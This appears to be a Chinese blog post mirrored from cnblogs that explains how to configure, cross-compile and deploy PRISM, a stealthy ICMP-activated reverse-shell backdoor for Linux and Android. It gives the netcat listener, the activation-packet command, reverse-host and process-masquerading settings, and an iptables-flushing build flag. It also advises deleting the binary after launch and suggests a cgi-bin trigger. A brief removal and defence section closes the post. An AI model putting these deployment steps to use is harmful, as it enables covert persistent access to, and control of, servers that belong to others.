zoukankan      html  css  js  c++  java
  • Linux下的ICMP反弹后门:PRISM

      搜索的时候无意中看见的这款基于ping的ICMP后门。于是到作者的github上看看,居然是阴文的,为了过级,只能强忍着看了,学生狗伤不起。还好比较简单易懂,正如简介说的一样:“PRISM is an user space stealth reverse shell backdoor, written in pure C.”

      项目地址:https://github.com/andreafabrizi/prism

      PRISM只有两个主文件,配置简单,能在LinuxSolaris、AIXBSD/Mac、Android等多个系统上运行,支持两种工作模式:ICMPSTATIC 模式。

    ICMP模式

      使用这种模式的后门将会在后台等待特定的包含主机/端口连接信息ICMP数据包,通过私有密钥可以阻止第三方访问。后门进程接受ping包激活(总不会连ping包都不让过了靶>_<)

      首先,在攻击者的机器上运行netcat来等待后门进入的连接:

    ~$ nc -l -p 9999
    

       再使用sendPacket.py脚本(或其他数据包生成器,如nemesis-1.4)发送激活包到后门主机,以使后门主机反弹连接到主控机的指定端口:

    ./sendPacket.py 10.0.0.5 linger 10.0.0.10 9999
    //10.0.0.5 远程主机(靶机)的IP地址
    //linger 连接密码
    //10.0.0.10 主控机IP地址
    //9999 主控机连接端口
    

     STATIC模式

      使用这种模式,后门主机将会主动尝试连接到指定端口的的IP地址上,所以只要在指定IP上监听指定端口等待连接就可以了。但是,缺点很明显,很任意暴露攻击者的IP地址,而且使用不够灵活。

     $ nc -l -p [PORT] 
    

       当然,作为一款迷你级的后门木马。它还是有很多优点的:

      两种工作模式、运行时进程重命名、不会监听端口、自动清除iptables规则表、采用C语言编写(代码仅有200来行),所以不需要任何库支持。

    配置prism后门

      编辑prism.c文件,修改宏定义部分:

     40 #ifdef STATIC
     41 # define REVERSE_HOST     "10.0.0.1"  //连接到主控机的IP地址
     42 # define REVERSE_PORT     19832   //连接到主控机的端口号
     43 # define RESPAWN_DELAY    15  //后门机尝试连接的空闲时间间隔
     44 #else
     45 # define ICMP_PACKET_SIZE 1024  //ICMP数据包的大小
     46 # define ICMP_KEY         "linger"  //连接的密码
     47 #endif
     48 
     49 #define VERSION          "0.5"   //版本信息
     50 #define MOTD             "PRISM v"VERSION" started
    
    # "  //后门机连接时显示的消息
     51 #define SHELL            "/bin/sh"  //shell执行的位置
     52 #define PROCESS_NAME     "udevd"   //创建的进程名称
    

     交叉编译prism后门

    gcc <..OPTIONS..> -Wall -s -o prism prism.c
    

     可用的参数<OPTION>选项:

    -DDETACH   //后台运行
    -DSTATIC   //只用STATIC模式(默认是ICMP模式)
    -DNORENAME   //不再重命名进程名
    -DIPTABLES   //清除所有iptables规则表项

    例如:

    gcc -DDETACH -DNORENAME -Wall -s -o prism prism.c
    

    不同平台下的交叉编译需要相关库文件:

    Android平台:

    apt-get install gcc-arm-linux-gnueabi
    arm-linux-gnueabi-gcc -DSTATIC -DDETACH -DNORENAME -static -march=armv5 prism.c -o prism
    

    Linux 64bit

    apt-get install libc6-dev-amd64
    gcc -DDETACH -m64 -Wall -s -o prism prism.c
    

    Linux 32bit

    apt-get install libc6-dev-i386
    gcc -DDETACH -m32 -Wall -s -o prism prism.c
    

     编译好之后,可以查看后门的配置信息:

    运行prism后门测试

      将该后门上传到远程后门主机,再使用sendPacket.py脚本(需以root运行)在本地发送激活包到后门主机,本地监听相关端口等待后门主机反弹连接:(这里要注意,最好时将prism.c文件上传到后门主机再进行编译,这样才更容易成功。)

      这对于采用了很多限制(比喻限制了SSH)远程服务器来说,使用该后门是不错的。而且prism服务端运行后会在后台一直运行,除非服务器重启。所以,后门开启后删除自身文件将不容易被发现。

    简单讲解prism后门的清除

      首先,上面说了,该后门重启会失效,除非写在开机启动项里。所以攻击者想要继续留住后门,肯定会这样做,故首先要检查开机启动项里(比如/etc/rc.local,这可是root权限!)是否有未知启动脚本。联想起前段时间的BASH漏洞,有一个不错的思路是在cgi-bin里的某个脚本里作改变,当访问这个脚本时就可以触发这个prism后门,这样就可以不用之前的python脚本来触发了。厄,貌似这就讲到攻击了-_- 不管怎样,先得有点见识靶。搞不好还真有人会这样用呢。

      其次,虽然这个后门可以改变后门进程名,但是还是有进程存在,所以要查出这个未知进程。可以用工具查找,找到kill掉就OK了。

      最后,要设置好严格的iptables规则。该后门可以按攻击者的设置尝试清除iptables规则,所以要定期查看iptables规则是否改变。

      还有,该后门是使用ICMP协议的PING包激活的,SO,如果还真怕PRISM的会,那就过滤掉ICMP包靶,走着瞧靶v_v

      但是,站在攻击者的角度来看,想要防范prism后门还是比较难的。正如其作者所描述的那样:“No listening ports”,啥意思?就是想用啥端口连接都可以,额测试过了: ) 这么说来,貌似上上一条有失效了-_-

      所以,综上所属,最好的办法就是做好预防工作,防止被入侵。为啥?因为我是傻逼{-_-}

  • 相关阅读:
    POJ 1386 Play on Words(单词建图+欧拉通(回)路路判断)
    HTTP协议详解??
    Python 中三大框架各自的应用场景??
    django 开发中数据库做过什么优化??
    谈一下你对 uWSGI 和 nginx 的理解??
    django 中间件的使用??
    Flask 中请求钩子的理解和应用?
    七层模型? IP ,TCP/UDP ,HTTP ,RTSP ,FTP 分别在哪层?
    说说 HTTP 和 HTTPS 区别??
    hasattr() getattr() setattr() 函数使用详解??
  • 原文地址:https://www.cnblogs.com/lingerhk/p/4009909.html
Copyright © 2011-2022 走看看